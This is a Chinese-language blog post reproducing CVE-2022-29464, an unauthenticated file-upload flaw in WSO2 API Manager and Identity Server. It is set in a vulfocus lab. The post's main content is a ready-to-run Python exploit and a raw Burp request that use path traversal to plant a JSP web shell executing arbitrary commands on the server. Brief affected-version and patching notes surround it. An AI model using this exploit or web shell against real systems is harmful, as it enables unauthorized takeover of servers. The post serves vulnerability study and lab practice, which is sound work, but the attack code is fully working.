CVE-2022-29464 WSO2 任意文件上传漏洞复现

本文详细介绍了WSO2 API Manager存在的一个严重漏洞,允许未经授权的攻击者通过构造恶意数据进行文件上传,最终可能导致服务器的远程代码执行。受影响的版本包括2.2.0到4.0.0、5.2.0到5.11.0等。作者提供了利用EXP的Python代码和使用Burp Suite改包的示例,并给出了流量分析的提示。建议用户升级到安全版本以修复此漏洞。
摘要由CSDN通过智能技术生成

目录

0x01 声明:

0x02 简介:

0x03 漏洞概述:

0x04 影响版本:

0x05 环境搭建:

vulfocus搭建:

0x06 漏洞复现:

1、EXP利用:

2、Burp改包:

0x07 流量分析:

0x08 修复建议:


0x01 声明:

        仅供学习参考使用,请勿用作违法用途,否则后果自负。

0x02 简介:

        WSO2 是一个领先的开源 SOA 解决方案,包含了 SOA 相关的各种基础设施、技术框架和相关工具、流程 server、appserver 等。

0x03 漏洞概述:

        近日,WSO2 官网发布关于 WSO2 API Manager 中存在任意文件上传和远程代码执行漏洞的信息。该漏洞是由于 WSO2 存在路由对输入的内容过滤不严格,攻击者可以利用该漏洞在未授权的情况下,构造恶意数据执行文件上传攻击,最终获取服务器最高权限。

0x04 影响版本:

        2.2.0 ≤ WSO2 API Manager ≤ 4.0.0

        5.2.0 ≤ WSO2 Identity Server ≤ 5.11.0

        WSO2 Identity Server Analytics 5.4.0, 5.4.1, 5.5.0, 5.6.0

        5.3.0 ≤ WSO2 Identity Server as Key Manager ≤ 5.10.0

        6.2.0 ≤ WSO2 Enterprise Integrator ≤ 6.6.0

0x05 环境搭建:

        vulfocus搭建:

(Vulfocus漏洞靶场搭建_Evan Kang的博客-CSDN博客

        浏览器访问:

0x06 漏洞复现:

        1、EXP利用:

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

url = input("请输入URL:")
file = "shell.jsp"
payload = """<FORM>
    <INPUT name='cmd' type=text>
    <INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
    <%
    String cmd = request.getParameter("cmd");
    String output = "";
    if(cmd != null) {
        String s = null;
        try {
            Process p = Runtime.getRuntime().exec(cmd,null,null);
            BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
            while((s = sI.readLine()) != null) { output += s+"</br>"; }
        }  catch(IOException e) {   e.printStackTrace();   }
    }
%>
        <pre><%=output %></pre>"""

files = {f"../../../../repository/deployment/server/webapps/authenticationendpoint/{file}": payload}
response = requests.post(f'{url}/fileupload/toolsAny', files=files, verify=False)
print(f"shell @ {url}/authenticationendpoint/{file}")

        2、Burp改包:

POST /fileupload/toolsAny HTTP/1.1
Host: x.x.x.x:port
Accept: */*
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=4ef9f369a86bfaadf5ec3177278d49c0
User-Agent: python-requests/2.22.0

--4ef9f369a86bfaadf5ec3177278d49c0
Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/authenticationendpoint/1.jsp"; filename="../../../../repository/deployment/server/webapps/authenticationendpoint/1.jsp"

<FORM>
    <INPUT name='cmd' type=text>
    <INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
    <%
    String cmd = request.getParameter("cmd");
    String output = "";
    if(cmd != null) {
        String s = null;
        try {
            Process p = Runtime.getRuntime().exec(cmd,null,null);
            BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
            while((s = sI.readLine()) != null) { output += s+"</br>"; }
        }  catch(IOException e) {   e.printStackTrace();   }
    }
%>
        <pre><%=output %></pre>
--4ef9f369a86bfaadf5ec3177278d49c0--

请求:https://192.168.119.155:56079/authenticationendpoint/1.jsp

0x07 流量分析:

        由于是TLS加密数据包所以就做一下EXP的分析吧。

0x08 修复建议:

厂商已分别发布补丁修复漏洞,用户请尽快更新至安全版本。

官方下载地址: https://github.com/wso2/product-apim/releases

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Kang_Sec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值